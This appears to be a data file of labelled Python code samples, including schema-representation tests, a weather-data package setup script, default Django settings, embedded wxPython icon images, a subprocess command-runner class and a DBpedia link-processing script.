""schema.list(schema.str('banana'))"" def test_list_of_len_representation(): with given: sch = schema.list(schema.int).len(10) with when: res = represent(sch) with then: assert res == ""schema.list(schema.int).len(10)"" def test_list_of_min_len_representation(): with given: sch = schema.list(schema.int).len(1, ...) with when: res = represent(sch) with then: assert res == ""schema.list(schema.int).len(1, ...)"" def test_list_of_max_len_representation(): with given: sch = schema.list(schema.int).len(..., 10) with when: res = represent(sch) with then: assert res == ""schema.list(schema.int).len(..., 10)"" def test_list_of_min_max_len_representation(): with given: sch = schema.list(schema.int).len(1, 10) with when: res = represent(sch) with then: assert res == ""schema.list(schema.int).len(1, 10)"" ",1 ".com Copyright (C) 2015-2016 by Matthew Garcia Licensed Gnu GPL v3; see 'LICENSE_GnuGPLv3.txt' for complete terms Send questions, bug reports, any related requests to matt.e.garcia@gmail.com See also 'README.md', 'DISCLAIMER.txt', 'CITATION.txt', 'ACKNOWLEDGEMENTS.txt' Treat others as you would be treated. Pay it forward. Valar dohaeris. PURPOSE: Verifies sample data, scripts, modules, documents, auxiliary files. Verifies availability of python dependencies used by various scripts. Uncompresses certain large example data files Builds directory structure for script output products. DEPENDENCIES: all software package source dependencies are polled here USAGE: '$ python setup.py' """""" import os import sys import glob def message(char_string): """""" prints a string to the terminal and flushes the buffer """""" print char_string sys.stdout.flush() return txt_files = ['ACKNOWLEDGEMENTS.txt', 'CITATION.txt', 'DISCLAIMER.txt', 'LICENSE_GnuGPLv3.txt'] md_files = ['README.md'] main_dirs = ['data', 'docs', 'htcondor', 'source', 'tools'] # scripts = ['process_NCEI_00.py', 'process_NCEI_01.py', 'process_NCEI_02a.py', 'process_NCEI_02b.py', 'process_NCEI_03_chill_d.py', 'process_NCEI_03_chill_dd.py', 'process_NCEI_03_grow_dd.py', 'process_NCEI_03_grow_dd_base0.py', 'process_NCEI_03_prcp_03d.py', 'process_NCEI_03_prcp_07d.py', 'process_NCEI_03_prcp_120d.py', 'process_NCEI_03_prcp_15d.py', 'process_NCEI_03_prcp_180d.py', 'process_NCEI_03_prcp_30d.py', 'process_NCEI_03_prcp_365d.py', 'process_NCEI_03_prcp_60d.py', 'process_NCEI_03_prcp_90d.py', 'process_NCEI_03_prcp_90d_nd0.py', 'process_NCEI_03_prcp_90d_nd10.py', 'process_NCEI_03_prcp_90d_nd25.py', 'process_NCEI_03_preprocess.py', 'process_NCEI_03_tavg_03d.py', 'process_NCEI_03_tavg_07d.py', 'process_NCEI_03_tavg_15d.py', 'process_NCEI_03_tavg_30d.py', 'process_NCEI_03_tavg_60d.py', 'process_NCEI_03_tavg_90d.py', 'process_NCEI_03_tavg_frz.py', 'process_NCEI_03_tmax_03d.py', 'process_NCEI_03_tmax_07d.py', 'process_NCEI_03_tmax_15d.py', 'process_NCEI_03_tmax_30d.py', 'process_NCEI_03_tmax_60d.py', 'process_NCEI_03_tmax_90d.py', 'process_NCEI_03_tmax_frz.py', 'process_NCEI_03_tmin_03d.py', 'process_NCEI_03_tmin_07d.py', 'process_NCEI_03_tmin_15d.py', 'process_NCEI_03_tmin_30d.py', 'process_NCEI_03_tmin_60d.py', 'process_NCEI_03_tmin_90d.py', 'process_NCEI_03_tmin_frz.py', 'process_NCEI_03_vpd_03d.py', 'process_NCEI_03_vpd_07d.py', 'process_NCEI_03_vpd_15d.py', 'process_NCEI_03_vpd_30d.py', 'process_NCEI_03_vpd_60d.py', 'process_NCEI_03_vpd_90d.py', 'process_NCEI_04a.py', 'process_NCEI_04b.py', 'process_NCEI_05.py', 'process_NCEI_06.py', 'process_NCEI_07.py', 'process_NCEI_08.py', 'process_NCEI_09.py', 'process_NCEI_10.py', 'process_NCEI_11.py', 'process_NCEI_12.py', 'process_NCEI_13.py', 'process_NCEI_14.py', 'process_NCEI_15.py'] # modules = ['Date_Convert.py', 'Interpolation.py', 'Plots.py', 'process_NCEI_03_aux.py', 'Read_Header_Files.py', 'Stats.py', 'Teleconnections.py', 'UTM_Geo_Convert.py'] # htcondor = ['process_NCEI_00.sh', 'process_NCEI_00.sub', 'process_NCEI_01.sh', 'process_NCEI_01.sub', 'process_NCEI_02a.sh', 'process_NCEI_02a.sub', 'process_NCEI_02b.sh', 'process_NCEI_02b.sub', 'process_NCEI_02b_dag.sub', 'process_NCEI_03_chill_d.sh', 'process_NCEI_03_chill_dd.sh', 'process_NCEI_03_dag_gen.py', 'process_NCEI_03_generic.sub', 'process_NCEI_03_grow_dd.sh', 'process_NCEI_03_grow_dd_base0.sh', 'process_NCEI_03_prcp_03d.sh', 'process_NCEI_03_prcp_07d.sh', 'process_NCEI_03_prcp_120d.sh', 'process_NCEI_03_prcp_15d.sh', 'process_NCEI_03_prcp_180d.sh', 'process_NCEI_03_prcp_30d.sh', 'process_NCEI_03_prcp_365d.sh', 'process_NCEI_03_prcp_60d.sh', 'process_NCEI_03_prcp_90d.sh', 'process_NCEI_03_prcp_90d_nd0.sh', 'process_NCEI_03_prcp_90d_nd10.sh', 'process_NCEI_03_prcp_90d_nd25.sh', 'process_NCEI_03_preprocess.sh', 'process_NCEI_03_tavg_03d.sh', 'process_NCEI_03_tavg_07d.sh', 'process_NCEI_03_tavg_15d.sh', 'process_NCEI_03_tavg_30d.sh', 'process_NCEI_03_tavg_60d.sh', 'process_NCEI_03_tavg_90d.sh', 'process_NCEI_03_tavg_frz.sh', 'process_NCEI_03_tmax_03d.sh', 'process_NCEI_03_tmax_07d.sh', 'process_NCEI_03_tmax_15d.sh', 'process_NCEI_03_tmax_30d.sh', 'process_NCEI_03_tmax_60d.sh', 'process_NCEI_03_tmax_90d.sh', 'process_NCEI_03_tmax_frz.sh', 'process_NCEI_03_tmin_03d.sh', 'process_NCEI_03_tmin_07d.sh', 'process_NCEI_03_tmin_15d.sh', 'process_NCEI_03_tmin_30d.sh', 'process_NCEI_03_tmin_60d.sh', 'process_NCEI_03_tmin_90d.sh', 'process_NCEI_03_tmin_frz.sh', 'process_NCEI_03_vpd_03d.sh', 'process_NCEI_03_vpd_07d.sh', 'process_NCEI_03_vpd_15d.sh', 'process_NCEI_03_vpd_30d.sh', 'process_NCEI_03_vpd_60d.sh', 'process_NCEI_03_vpd_90d.sh', 'process_NCEI_04a.sh', 'process_NCEI_04a.sub', 'process_NCEI_04b.sh', 'process_NCEI_04b.sub', 'process_NCEI_05.sh', 'process_NCEI_05.sub', 'process_NCEI_06.sh', 'process_NCEI_06.sub', 'process_NCEI_07.sh', 'process_NCEI_07.sub', 'process_NCEI_08.sh', 'process_NCEI_08.sub', 'process_NCEI_09.sh', 'process_NCEI_09.sub'] # dependencies = ['os', 'sys', 'datetime', 'glob', 'numpy', 'pandas', 'h5py', 'matplotlib', 'matplotlib.pyplot', 'gdal', 'osgeo.osr', 'scipy.interpolate', 'scipy.ndimage', 'scipy.stats', 'mpl_toolkits', 'mpl_toolkits.basemap', 'pickle'] # gz_data_files = ['EPA_L4_Ecoregions_WLS_UTM15N.bil.gz', 'NCEI_WLS_19830101-20151031.csv.gz', 'NLCD_2011_WLS_UTM15N.bil.gz'] # data_files = ['EPA_L4_Ecoregions_WLS_polygonIDs.txt', 'EPA_L4_Ecoregions_WLS_UTM15N.bil', 'EPA_L4_Ecoregions_WLS_UTM15N.hdr', 'NCEI_WLS_19830101-20151031.csv', 'NCEP_CPC_AO_indices.csv', 'NCEP_CPC_ENSO_indices.csv', 'NCEP_CPC_NAO_indices.csv', 'NCEP_CPC_PNA_indices.csv', 'NLCD_2011_WLS_UTM15N.bil', 'NLCD_2011_WLS_UTM15N.hdr', 'NOAA_ESRL_AMO_indices.csv', 'NOAA_ESRL_PDO_indices.csv', 'NSIDC_MIFL_Superior_Ice.csv', 'Query_locations_dates_sample.csv'] # doc_files = ['How_to_get_NCEI_GHCND_data.txt', 'NCEI_GHCND_documentation.pdf'] # tools = ['query_NCEI_grids.py', 'orientation_maps.py'] # add_dirs = ['analyses', 'grids', 'images'] # analyses_dirs = ['annual_maps', 'cluster_maps', 'ecoregion_maps', 'figures', 'summary_maps'] # os.system('rm .DS_Store') os.system('rm */.DS_Store') os.system('rm ._*') os.system('rm */._*') # message('checking for auxiliary files that should accompany this software') txts_present = glob.glob('*.txt') mds_present = glob.glob('*.md') absent = 0 for txt in txt_files: if txt in txts_present: message('- found auxiliary file \'%s\' as expected' % txt) else: message('- auxiliary file \'%s\' is absent' % txt) absent += 1 for md in md_files: if md in mds_present: message('- found auxiliary file \'%s\' as expected' % md) else: message('- auxiliary file \'%s\' is absent' % md) absent += 1 if absent > 0: message('- you don\'t need them to run things, but you do need them to \ understand things') message('- you should probably download this package again from scratch') message('- exiting setup procedure') sys.exit(1) message(' ') # message('checking for top-level directories that should already exist') dirs_present = [d.replace('/', '') for d in glob.glob('*/')] absent = 0 for dirname in main_dirs: if dirname in dirs_present: message('- found main directory \'%s\' as expected' % dirname) else: message('- main directory \'%s\' is absent' % dirname) absent += 1 if absent > 0: message('- you should download this package again from scratch') message('- exiting setup procedure') sys.exit(1) message(' ') # message('checking for main scripts and modules that comprise this software') src_present = glob.glob('source/*') absent = 0 for srcfile in scripts: srcfile = 'source/%s' % srcfile if srcfile in src_present: message('- found script \'%s\' as expected' % srcfile) else: message('- script \'%s\' is absent' % srcfile) absent += 1 for srcfile in modules: srcfile = 'source/%s' % srcfile if srcfile in src_present: message('- found module \'%s\' as expected' % srcfile) else: message('- module \'%s\' is absent' % srcfile) absent += 1 if absent > 0: message('- you should download this package again from scratch') message('- exiting setup procedure') sys.exit(1) message(' ') # message('checking for script-based tools that accompany this software') src_present = glob.glob('tools/*') absent = 0 for srcfile in tools: srcfile = 'tools/%s' % srcfile if srcfile in src_present: message('- found script \'%s\' as expected' % srcfile) else: message('- script \'%s\' is absent' % srcfile) absent += 1 if absent > 0: message('- if you need these tools, you should download this package \ again from scratch') message(' ') # message('checking for HTCondor example files that accompany this software') src_present = glob.glob('htcondor/*') absent = 0 for srcfile in htcondor: srcfile = 'htcondor/%s' % srcfile if srcfile in src_present: message('- found htcondor file \'%s\' as expected' % srcfile) else: message('- htcondor file \'%s\' is absent' % srcfile) absent += 1 if absent > 0: message('- if you need these files, you should download this package \ again from scratch') message(' ') # message('checking for essential python package dependencies for this software') err = 0 # try: import os message('- python dependency \'os\' is available') except ImportError: message('- essential python dependency \'os\' is not available') err += 1 # try: import sys message('- python dependency \'sys\' is available') except ImportError: message('- essential python dependency \'sys\' is not available') err += 1 # try: import datetime message('- python dependency \'datetime\' is available') except ImportError: message('- essential python dependency \'datetime\' is not available') err += 1 # try: import glob message('- python dependency \'glob\' is available') except ImportError: message('- essential python dependency \'glob\' is not available') err += 1 # try: import pickle message('- python dependency \'pickle\' is available') except ImportError: message('- essential python dependency \'pickle\' is not available') err += 1 # try: import numpy message('- python dependency \'numpy\' is available') except ImportError: message('- essential python dependency \'numpy\' is not available') err += 1 # try: import pandas message('- python dependency \'pandas\' is available') except ImportError: message('- essential python dependency \'pandas\' is not available') err += 1 # try: import h5py message('- python dependency \'h5py\' is available') except ImportError: message('- essential python dependency \'h5py\' is not available') err += 1 # try: import gdal message('- python dependency \'gdal\' is available') except ImportError: message('- essential python dependency \'gdal\' is not available') err += 1 # try: import osgeo.osr message('- python dependency \'osgeo.osr\' is available') except ImportError: message('- essential python dependency \'osgeo.osr\' is not available') err += 1 # try: import scipy.interpolate message('- python dependency \'scipy.interpolate\' is available') except ImportError: message('- essential python dependency \'scipy.interpolate\' is not \ available') err += 1 # try: import scipy.ndimage message('- python dependency \'scipy.ndimage\' is available') except ImportError: message('- essential python dependency \'scipy.ndimage\' is not available') err += 1 # try: import scipy.stats message('- python dependency \'scipy.stats\' is available') except ImportError: message('- essential python dependency \'scipy.stats\' is not available') err += 1 # try: import matplotlib message('- python dependency \'matplotlib\' is available') except ImportError: message('- essential python dependency \'matplotlib\' is not available') err += 1 # try: import matplotlib.pyplot message('- python dependency \'matplotlib.pyplot\' is available') except ImportError: message('- essential python dependency \'matplotlib.pyplot\' is not \ available') err += 1 # try: import mpl_toolkits message('- python dependency \'mpl_toolkits\' is available') except ImportError: message('- essential python dependency \'mpl_toolkits\' is not available') err += 1 # try: import mpl_toolkits.basemap message('- python dependency \'mpl_toolkits.basemap\' is available') except ImportError: message('- essential python dependency \'mpl_toolkits.basemap\' is not \ available') err += 1 # if err > 0: message('- you need to install one or more additional python packages for \ this software to work') message('- all of these packages are available via Anaconda (\'conda\') \ and/or PyPI (\'pip\') repositories') message('- exiting setup procedure') sys.exit(1) message(' ') # message('checking for example data files that should accompany this software') gz_data_present = glob.glob('data/*.gz') absent = 0 for gz_dfile in gz_data_files: gz_dfile_path = 'data/%s' % gz_dfile if gz_dfile_path in gz_data_present: message('- found compressed data file \'%s\' as expected' % gz_dfile) message('-- uncompressing \'%s\'' % gz_dfile) os.system('cd data') os.system('gunzip %s' % gz_dfile) os.system('cd ..') else: message('- compressed example data file \'%s\' is absent' % gz_dfile) absent += 1 if absent > 0: message('- you don\'t need these if you have your own data in the right \ formats') message('- if you need the examples, you can find them at on GitHub at') message(' https://github.com/megarcia/WxCD') # data_present = glob.glob('data/*') absent = 0 for dfile in data_files: dfile_path = 'data/%s' % dfile if dfile_path in data_present: message('- found data file \'%s\' as expected' % dfile) else: message('- example data file \'%s\' is absent' % dfile) absent += 1 if absent > 0: message('- you don\'t need these if you have your own data in the right \ formats') message('- if you need the examples, you can find them at on GitHub at') message(' https://github.com/megarcia/WxCD') message(' ') # message('checking for data documentation files that should accompany this \ software') docs_present = glob.glob('docs/*') absent = 0 for dfile in doc_files: dfile = 'docs/%s' % dfile if dfile in docs_present: message('- found documentation file \'%s\' as expected' % dfile) else: message('- data documentation file \'%s\' is absent' % dfile) absent += 1 if absent > 0: message('- you don\'t need these if you have your own documentation') message('- if you need the examples, you can find them at on GitHub at') message(' https://github.com/megarcia/GT16_JGRA') message(' ') # message('creating top-level and sub-directories that will be used for process \ output') for dirname in add_dirs: os.system('mkdir %s' % dirname) message('- made top-level directory \'%s\' ' % dirname) for dirname in analyses_dirs: os.system('mkdir analyses/%s' % dirname) message('- made sub-directory \'analyses/%s\' ' % dirname) message(' ') # message('copying source scripts and modules to top-level directory') os.system('cp source/*.py .') message('archiving original scripts and modules to \'source_orig\' directory') os.system('mv source source_orig') # message('copying tools to top-level directory') os.system('cp tools/*.py .') message('archiving original tools scripts to \'tools_orig\' directory') os.system('mv tools tools_orig') message(' ') # message('all set!') message(' ') # message('if you plan to use the HTCondor example files, you\'ll need to \ move or copy them to') message(' your top-level directory') message(' ') # message('make sure to read the \'README.md\' file before you get started on \ the scripts') message(' ') # message('if you need help getting your own dataset of GHCND weather \ observations, there is') message(' a how-to document in the \'docs\' directory') message(' ') # message('please send questions, bug reports, any other requests to \ matt.e.garcia@gmail.com') message(' (and include a helpfully descriptive subject line, if you could)') message('or submit them through the Issues tab at the GitHub repository for \ this package') message(' ') # sys.exit(0) ",1 "s://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """""" import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'r&j)3lay4i$rm44n%h)bsv_q(9ysqhl@7@aibjm2b=1)0fag9n' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'djangoApp.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'djangoApp.wsgi.application' # Database # https://docs.djangoproject.com/en/1.10/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.10/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_URL = '/static/' ",1 "zlib.decompress( ""x\xda\x01M\x01\xb2\xfe\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\ \x00\x00 \x08\x06\x00\x00\x00szz\xf4\x00\x00\x00\x04sBIT\x08\x08\x08\x08|\ \x08d\x88\x00\x00\x01\x04IDATX\x85\xed\x941\x0e\x82@\x10E\x9f\xc6`,\x88\xad\ \x8d\x8d\x89r\x02B\xc1\t\xbc\x94\x857\xf04\x9e\xc0C\x00\x95\xb1\xb1\xa52\xda\ h\xc1N\xe1\xc8f5j\x9cD^Ev\x98\x81\xffv\x01::\xfe\x9d^\x91e\xd7\xb6\xc2d\xb9\ \x04`\xb8X\xbc\xf5\x80sY\x02p\xdcn[\xeb\xfd\xb7\xa6\x7f\x80\x81\xaf o\xb6m\ \xd3\xb6-]\xd7\x1d\x07\x08\xc3\x90\x8b\x8b\x0b\x94R4MC\xd7u\xacV+\xba\xae\ \xc3q\x1c\x84\x10\xa4iz\x12`\x1cG\xca\xb2\xe4\xf9\xf9\x99\xdb\xdb[\xee\xef\ \xef\rx\x10\x04x\x9e\xc7f\xb39\r\x90$\t\x1f?~\xa4\xaek6\x9b\rEQ\xd0u\x1d\xbb\ \xdd\x8e\xbb\xbb;\xc6qd\x9a\xa6\x83L\xcc\x91\x17E\xc1z\xbdf\xbd^\xb3\xdb\xed\ \xd0Z\x1b\x80,\xcb\x88\xa2\x08\xa5\x14///\xc7\x01\xd24\xe5\xd3\xa7O\xbc\xbc\ \xbc\xd0\xf7=sw\xf4}\xcf\xed\xed-M\xd3`Y\x16B\x08\x92$\xd9\x03\x98k\xbdZ\xad\ x||\xc4\xb2,\xa2(""\x0cC\x92$\xe1\xc3\x87\x0fdY\xb6\xe7\xfc\x00\xc0\xf3<\xe28\ 6N]\xd7\xc5\xb2,^__)\xcb\x92\xedv\xcb\xfd\xfd=Zk\xa6ib\x18\x06\x00\xaa\xaa2\ \x91o\xb7[\xfa\xbe\'\x8a""\x13\xf9\xe5\xe5%Y\x96\x99\xcc\x9d\x04\xf8\xb6\x14R\ J\xa4\x94\x0c\xc3\x80\xd6\xdaD\xfa\xf9\xf3g\x9a\xa6A\x08\xc1\xf9\xf99\x00y\ \x9e\xb3Z\xadx~~F\x08A\x14EDQD\x9a\xa6,\x97Knnn\xf0<\x8f\xef\xf5\xe6$\x80\ \xef\xfb\xf8\xbeO\xd34\xa6\x96\x00eYR\x96%y\x9e\xf3\xf0\xf0@Q\x14f=\xcfs\xba\ \xae\xdbK{\x92$\xa4ij\xfa\xbfi\x9a\xf7\x01\xcc&\xa5$I\x12\x93\xf2\xd9\x94R|\ \xf9\xf2\x05!\x04\x00\xd34\xa1\xb5&\x0cC\xe3\xae\xeb""\x84`\x18\x06\xf3\xdfw\x01h\xad\xe9\xfb\x9e\xae\xebPJa\ Y\x16q\x1cc\xdb\xb6\xc9\x84\x10\xe2(@\x9a\xa6\x04A\x80\x10\x02\xa5\x14]\xd7\ \xd1u\xdd\xc9L\xec\x01h\xad\x19\xc7\x11\xad5u]\x1b\xe7s4\xf3SJ\x89eY\xb4m\ \x0b\xbcu\xcf\xd9\xd9\x19gggDQ\x84\x94\x12\xa5\x14\xd34\xa1\x94\xa2\xaek\x82\ 0>N\x02\xccCd\x18\x06^__\xb1m\x9b0\x0c\xf1<\x0f\xd7u\x99\xa6\x89\xf3\xf3s\ \xf2<\x07\xde\x0e\x1f@\x14E,\x97K...L\xa4s\xf4\xf3\\\x98\xa6\t\xc7q\x0ef\xc2\ \x1e\xc0L\xab\xb5F)\x85\xeb\xba,\x16\x0b\x82 \xc0u]#<\x8e\xe3\xd0\xb6-\x9e\ \xe7\x01\x10\xc71WWWdY\x06\xbc\xb5\xabR\n\xdb\xb6)\x8a\x82\xb6mi\xdb\x16\xcb\ \xb2PJ\x9d\x06\x98ew\xb1X\x18\xfd\x0e\x82\xc0\xcc\x81\xd9\x82 `\xb9\\\x9a\ \xcd\xa4\x94&\xc5\xf0v>\x1c\xc7!\x08\x02\xa6i\xc2\xb6m\x94RF\xdaO\x02\xcc\ \x9a>\x0b\x89\xe7yx\x9ewp!\x99\xc1N\x99m\xdb\xe63\x7f\xdf\xedv\xf4}\xff\xc7%\ \xf0}\x9f4MM\xddOM\xbd\xbfb\xf3\x1eQ\x141\x8e\xa3)\xdbQ\x80yn\xcf\xa7\xfc[\ \xbd\xff\'fY\x96\xb9k|\x1f\xd4\xd130\xcf\xff\x7f\xd3\xc6q4w\x8c=\x80\xa6i\ \x8c\xb8\xe4yn.\x11\xff\x85)\xa5\xd8n\xb7\xd4um\xd6\xc4\xcfw\xc3\xff=\xc0\ \xefa\x89?u1\xd3\xf5 \x00\x00\x00\x00IEND\xaeB`\x82\xc4\x1f\x08\x9f' ) def getNoMailBitmap(): return wx.BitmapFromImage(getNoMailImage()) def getNoMailImage(): stream = cStringIO.StringIO(getNoMailData()) return wx.ImageFromStream(stream) def getNoMailIcon(): icon = wx.EmptyIcon() icon.CopyFromBitmap(getNoMailBitmap()) return icon #---------------------------------------------------------------------- def getErrMailData(): return zlib.decompress( 'x\xda\x01W\x05\xa8\xfa\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\ \x00\x00 \x08\x06\x00\x00\x00szz\xf4\x00\x00\x00\x04sBIT\x08\x08\x08\x08|\ \x08d\x88\x00\x00\x05\x0eIDATX\x85\xcd\x97\xcf\x8f\xdb\xd4\x16\xc7?v\xae\x7f\ \xc5N&\x8e\xd3L\x92\xceL%T\x15\rbQQ!\xe8\x0e\xc4\x92\xff\x80%H\xac\xdeC\xf0\ \xfe\x94\x07\xdb\xf7\x96\xac\xfa\x1f TT\t\x06\x90\xa0,*UB#\x90f:i""\'\x99L\ \xec\xd8\xf1\xaf\x98\xc5LLC\x92\x8aH\xa0r$/|t\xef9\x1f\xdf\xfb\xbd\xe7\\K\ \x92\\\xe2E\x9a\xfcB\xb3\x03b\xdb\t\x9f}\xfa\xdf\xfc\xf5\xd1\x88\x83\xcf?\ \xa7\xf2\xf81\x00\xde\xe1!\xa7\xef\xbd\xc7\xf7\xf5:\xff\xfa\xf7G\xd2\xdf\n\ \xb0w\xff>\xd7\x83\x80\xeah\x84q\xe5\x93F#:GG\xec\x95\xcb\xdb\x86C\xdaV\x03\ \xdfjj\xfeZ\x9e#\xc71\xf2|\x0e\xc0\\\x96\x99\xab*?J\x12oF\xf1V+\xb0\xb5\x06\ \x1cUE\xccfEr\x00y>G\xccf8\xaa\xbam8\xc4\x7f>\xf98\xcf\xf3|\xc9\xd9n\xb7\xd9\ \xdb\xdbCQ\x94%\xff\xf5\xef\xbe\xa3~\xef\x1e\\\\\xac\rV\xaf\xd7\xf9\xe6\xc3\ \x0f\xf3\xb37\xdeX\xf2\'I\xc2\x93\'Ox\xfa\xf4\xe9*@\xa5RYu\nA\x92$\xe8\xba\ \x8eeY\xc5cw\xbb\xe8\xba\xbe\xf1kt]g\x7f\x7f\x1f\xeb\xe5\x97\xf1}\xbfx\x82 @\ \x08A\xb5Z]\xcd\xb5.\x90\xe7y\x84a\xc8\xee\xee.\x86a`\x9a&\xedv\x1b\xab\xd1@\ I\x92\x000w]\xdaq\xcc\xa65\x88\xe3\x18\ \xd7uyrr\xc2\xc9\xc9\t\xa3\xd1\x88k\xd7\xae\xd1j\xb5\n\xc0n\xb7\xfb|\x80\xfd\ \xfd}\xd24%\x08\x02\xe28&\x08\x02\x92$\xa1\xd7\xeb\xa1\xb9.N\x1coH\xff;@\xaf\ \xd7#I\x12L\xd3\xc44M,\xcb\xa2\\.#\x84\xc0\xf7}\xfa\xfd\xfef\x80\xbd\xbd=&\ \x93\tQ\x14aY\x16\xaa\xaa2\x1e\x8fq]\x97\xb2\xeb\xf2\xd2\x9f\x00p]\x17\xc7q\ \xa8\xd5j\xa8\xaaJ\xa9T\xa2^\xafS\xadV9;;[\x9a\xb3\x04\xa0\xaa*\x96e!I\x12Q\ \x14\x15\xfb\x15\xc71\xbe\xef#\x84(\xf4\xb1\xce$IB\x08\x81\xa6i\x94\xcbe*\ \x95J\xa1\xabj\xb5Z|\xd0F\x80\x85U*\x15TUe0\x18\xd0\xeb\xf50M\x93N\xa7C\xb3\ \xd9D\xd3\xb4\x8d\x00\x9a\xa6\xd1l6\x99w:h\x9a\x86\x10\x02\xc7qh4\x1a\xa8\ \xaa\xca\x1f\xeb\xcdF\x00M\xd3\xd04\x8d\xe9t\x8a,\xcb\xc5\xbbh\xb7\x99\xbe\ \xf2\n%IB\xef\xf5P\xa6S\x00\x12\xd3d\xd6j1=D\x1b\x0c~\x0f>\x18p\xed\xfe\ }\x82\xf1\x98\xe0\x9dw\xf0^}u\xed\xfc8\x8eW5\x10\x86a\xd1$\xfa\xfd>\xaa\xaa\ \xae\x15\x1e@\xeb\xa7\x9fx\xe9\xc1\x03v\x8e\x8f\x91\x9fi\xcb\xcaxL\xed\xe1C$\ \xcf\xe3\x17\xc7\xa1\xf7\x87\xcb\xec\xc2\xd24\xa5\xdf\xef\x13\x04A\xe1\xdb\ \xfa\xbf\xe0\xab\x0f\xde\xcfo\x9e\x9da\xff\xf0\x03\xc6U\x1d\x08ww9\xbfs\x87\ \xe3\xeb\xd7y\xeb\x7f\xff\xff{\xff\x8c\x1e\xdd\xbe\x8dqp@\xe9\xd7_\xc9\xaf\ \x00\xbcz\x9d\xee\xdd\xbb<\xaa\xd7\xb7\r\xb7\xfd\n\xfc\xd5\xf6\xc2\x9b\xd1o\ \xd1r.\xaf\xfe\x90\x016\x00\x00\x00\x00IEND\xaeB`\x82\x8a\x1a\x9f\x99' ) def getErrMailBitmap(): return wx.BitmapFromImage(getErrMailImage()) def getErrMailImage(): stream = cStringIO.StringIO(getErrMailData()) return wx.ImageFromStream(stream) def getErrMailIcon(): icon = wx.EmptyIcon() icon.CopyFromBitmap(getErrMailBitmap()) return icon ",1 "ner(object): """"""A PrefixedCommandRunner allows you to run subprocess commands with comand substitution. For instance: PrefixedCommandRunner('/tmp/foo').run(['{prefix}foo.sh', 'bar', 'baz']) will run ['/tmp/foo/foo.sh', 'bar', 'baz'] """""" def __init__( self, prefix_dir, popen=subprocess.Popen, makedirs=os.makedirs ): self.prefix_dir = prefix_dir.rstrip(os.sep) + os.sep self.__popen = popen self.__makedirs = makedirs def _create_path_if_not_exists(self): if not os.path.exists(self.prefix_dir): self.__makedirs(self.prefix_dir) def run(self, cmd, **kwargs): self._create_path_if_not_exists() replaced_cmd = [ part.replace('{prefix}', self.prefix_dir) for part in cmd ] return cmd_output(*replaced_cmd, __popen=self.__popen, **kwargs) def path(self, *parts): path = os.path.join(self.prefix_dir, *parts) return os.path.normpath(path) def exists(self, *parts): return os.path.exists(self.path(*parts)) @classmethod def from_command_runner(cls, command_runner, path_end): """"""Constructs a new command runner from an existing one by appending `path_end` to the command runner's prefix directory. """""" return cls( command_runner.path(path_end), popen=command_runner.__popen, makedirs=command_runner.__makedirs, ) ",1 " = 'input_file') parser.add_option('-o','--output', dest = 'output_file', help = 'output_file') (options, args) = parser.parse_args() if options.input_file is None: options.input_file = raw_input('Enter input file:') if options.output_file is None: options.output_file = raw_input('Enter output file:') input_file = options.input_file output_file = options.output_file #define the dictionary url:wiki_id wiki_from_url_dict = {} with open('../../datasets/dbpedia/page_ids_en_2016.ttl','r') as f: for line in f: line = line.split(' ') if line[0] == '#': continue url = line[0] wiki_id_list = line[2].split('\""') wiki_id = wiki_id_list[1] print(url, wiki_id) wiki_from_url_dict[url] = int(wiki_id) output_file_write = open(output_file,'w') #iterate through the page links and turn urls into wiki_ids max_wiki_id = max(wiki_from_url_dict.values()) + 1 local_id = {} count = 0 with open(input_file) as page_links: for line in page_links: line = line.split(' ') if line[0] == '#': continue url_1 = line[0] url_2 = line[2] #if wiki_id not found, assign an id = max_wiki_id and increment max_wiki_id try: wiki_id1 = wiki_from_url_dict[url_1] #first entity has wiki_id try: wiki_id2 = wiki_from_url_dict[url_2] #first and second entities have wiki_ids except (KeyError, IndexError): #first entity has wiki_id, second entity doesn't try: #check if a local id has already been assigned wiki_id2 = local_id[url_2] except (KeyError, IndexError): wiki_id2 = max_wiki_id local_id[url_2] = wiki_id2 max_wiki_id +=1 except (KeyError, IndexError): #first entity doesn't have wiki_id try: wiki_id1 = local_id[url_1] except (KeyError, IndexError): wiki_id1 = max_wiki_id local_id[url_1] = wiki_id1 